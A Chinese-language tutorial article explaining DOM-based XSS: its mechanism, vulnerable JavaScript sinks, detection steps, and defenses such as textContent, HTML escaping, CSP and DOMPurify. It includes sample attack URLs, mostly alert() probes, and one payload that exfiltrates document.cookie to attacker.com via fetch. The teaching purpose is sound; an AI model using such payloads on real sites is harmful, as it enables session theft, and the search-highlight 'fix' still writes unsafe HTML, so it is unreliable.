乐闻世界logo
搜索文章和话题

什么是 DOM 型 XSS?如何检测和防护 DOM 型 XSS?

2月21日 16:27

答案

DOM 型 XSS(DOM-based XSS)是一种特殊的 XSS 攻击类型,它与传统的存储型和反射型 XSS 有本质区别。DOM 型 XSS 的漏洞完全存在于客户端的 DOM(文档对象模型)操作中,不涉及服务器的数据处理。

DOM 型 XSS 的核心原理

定义: DOM 型 XSS 是指攻击者利用客户端 JavaScript 代码中的漏洞,通过修改 DOM 结构来注入恶意脚本。这种攻击不经过服务器,恶意脚本直接在浏览器中执行。

与传统 XSS 的区别:

  • 存储型 XSS:恶意脚本存储在服务器数据库中
  • 反射型 XSS:恶意脚本通过 URL 参数传递,服务器将其反射回响应
  • DOM 型 XSS:恶意脚本不经过服务器,完全在客户端执行

DOM 型 XSS 的攻击流程

  1. 攻击者构造恶意 URL:包含恶意脚本片段的 URL
  2. 用户访问恶意 URL:用户被诱骗访问包含恶意参数的 URL
  3. JavaScript 读取 URL 参数:页面中的 JavaScript 代码读取 URL 参数(如 location.hashlocation.search
  4. 不安全的 DOM 操作:JavaScript 将未经验证的数据直接插入 DOM
  5. 恶意脚本执行:浏览器解析 DOM 时执行恶意脚本

常见的 DOM 型 XSS 漏洞场景

1. 使用 innerHTML 直接插入用户输入

不安全代码:

javascript
// 危险:直接将用户输入插入 innerHTML const userInput = location.hash.substring(1); document.getElementById('output').innerHTML = userInput;

攻击示例:

shell
http://example.com/page#<img src=x onerror=alert('XSS')>

修复方法:

javascript
// 安全:使用 textContent const userInput = location.hash.substring(1); document.getElementById('output').textContent = userInput;

2. 使用 document.write 写入用户输入

不安全代码:

javascript
// 危险:使用 document.write 写入用户输入 const query = new URLSearchParams(location.search).get('q'); document.write('<div>' + query + '</div>');

攻击示例:

shell
http://example.com/search?q=<script>alert('XSS')</script>

修复方法:

javascript
// 安全:先编码再写入 const query = new URLSearchParams(location.search).get('q'); const encoded = escapeHtml(query); document.write('<div>' + encoded + '</div>');

3. 使用 eval 执行用户输入

不安全代码:

javascript
// 危险:使用 eval 执行用户输入 const data = location.hash.substring(1); eval('processData("' + data + '")');

攻击示例:

shell
http://example.com/page#");alert('XSS');//

修复方法:

javascript
// 安全:避免使用 eval const data = location.hash.substring(1); processData(data);

4. 使用 setTimeout/setInterval 执行用户输入

不安全代码:

javascript
// 危险:将用户输入作为字符串传递给 setTimeout const userInput = location.search.substring(1); setTimeout(userInput, 1000);

攻击示例:

shell
http://example.com/page?alert('XSS')

修复方法:

javascript
// 安全:传递函数而不是字符串 const userInput = location.search.substring(1); setTimeout(() => processData(userInput), 1000);

5. 使用 location 对象属性

不安全代码:

javascript
// 危险:直接使用 location 属性 document.getElementById('welcome').innerHTML = 'Welcome, ' + location.hash;

攻击示例:

shell
http://example.com/page#<script>alert('XSS')</script>

修复方法:

javascript
// 安全:验证和编码 const hash = location.hash.substring(1); const encoded = escapeHtml(hash); document.getElementById('welcome').innerHTML = 'Welcome, ' + encoded;

DOM 型 XSS 的检测方法

1. 手动检测

步骤:

  1. 识别页面中读取 URL 参数的 JavaScript 代码
  2. 查找使用 innerHTMLdocument.writeeval 等危险 API 的地方
  3. 构造测试 payload:<script>alert(1)</script><img src=x onerror=alert(1)>
  4. 将 payload 插入 URL 参数中
  5. 访问 URL,检查是否执行

测试示例:

shell
# 测试 location.hash http://example.com/page#<img src=x onerror=alert(1)> # 测试 location.search http://example.com/page?q=<script>alert(1)</script> # 测试 location.pathname http://example.com/<script>alert(1)</script>

2. 自动化检测工具

常用工具:

  • DOM XSS Scanner:专门用于检测 DOM 型 XSS
  • OWASP ZAP:包含 DOM XSS 检测功能
  • Burp Suite:可以检测 DOM 型 XSS 漏洞
  • XSStrike:支持 DOM XSS 检测

3. 静态代码分析

检查要点:

  • 搜索 innerHTMLouterHTMLdocument.write 等危险 API
  • 搜索 evalnew Function() 等动态代码执行
  • 检查是否直接使用 locationwindow.name 等用户可控数据
  • 检查是否对用户输入进行了验证和编码

DOM 型 XSS 的防护策略

1. 使用安全的 DOM API

避免使用:

javascript
// 不安全 element.innerHTML = userInput; element.outerHTML = userInput; document.write(userInput);

使用安全的替代方案:

javascript
// 安全 element.textContent = userInput; element.innerText = userInput; element.insertAdjacentText('beforeend', userInput);

2. 对用户输入进行编码

HTML 编码函数:

javascript
function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } // 使用 const userInput = location.hash.substring(1); element.innerHTML = escapeHtml(userInput);

3. 避免动态代码执行

避免使用:

javascript
// 不安全 eval(userInput); new Function(userInput); setTimeout(userInput, 1000); setInterval(userInput, 1000);

使用安全的替代方案:

javascript
// 安全 const data = JSON.parse(userInput); processData(data); setTimeout(() => processData(userInput), 1000);

4. 使用 Content Security Policy (CSP)

CSP 配置示例:

shell
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';

更严格的 CSP:

shell
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';

5. 使用框架提供的安全机制

React 示例:

jsx
// React 默认会对数据进行转义 function UserInput({ input }) { return <div>{input}</div>; // 自动转义 } // 如果必须使用 innerHTML,使用 dangerouslySetInnerHTML function UserInput({ input }) { return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(input) }} />; }

Vue 示例:

vue
<!-- Vue 默认会对数据进行转义 --> <template> <div>{{ userInput }}</div> <!-- 自动转义 --> </template> <!-- 如果必须使用 v-html,先进行净化 --> <template> <div v-html="sanitizedInput"></div> </template> <script> import DOMPurify from 'dompurify'; export default { data() { return { userInput: '', sanitizedInput: '' }; }, watch: { userInput(newVal) { this.sanitizedInput = DOMPurify.sanitize(newVal); } } }; </script>

6. 输入验证

javascript
function validateInput(input) { // 白名单验证 const allowedChars = /^[a-zA-Z0-9\s\-_.,!?]+$/; return allowedChars.test(input); } // 使用 const userInput = location.hash.substring(1); if (validateInput(userInput)) { element.textContent = userInput; }

实际案例分析

案例 1:社交媒体分享功能

javascript
// 不安全的实现 function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').innerHTML = shareText; } // 攻击 URL http://example.com/share#<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)> // 修复 function shareContent() { const shareText = location.hash.substring(1); document.getElementById('share-preview').textContent = shareText; }

案例 2:搜索结果高亮

javascript
// 不安全的实现 function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const content = document.getElementById('content').innerHTML; const highlighted = content.replace(new RegExp(query, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; } // 攻击 URL http://example.com/search?q=<script>alert(1)</script> // 修复 function highlightSearch() { const query = new URLSearchParams(location.search).get('q'); const safeQuery = escapeHtml(query); const content = document.getElementById('content').textContent; const highlighted = content.replace(new RegExp(safeQuery, 'gi'), '<mark>$&</mark>'); document.getElementById('content').innerHTML = highlighted; }

总结

DOM 型 XSS 是一种隐蔽且危险的 XSS 攻击类型,因为它完全在客户端执行,传统的服务器端防护措施无法检测和阻止。防护 DOM 型 XSS 需要开发者:

  1. 使用安全的 DOM API(如 textContent 代替 innerHTML
  2. 对所有用户输入进行适当的编码
  3. 避免使用 evaldocument.write 等危险函数
  4. 实施 Content Security Policy
  5. 使用框架提供的安全机制
  6. 进行严格的输入验证

通过遵循这些最佳实践,可以有效地防止 DOM 型 XSS 攻击。

标签:XSS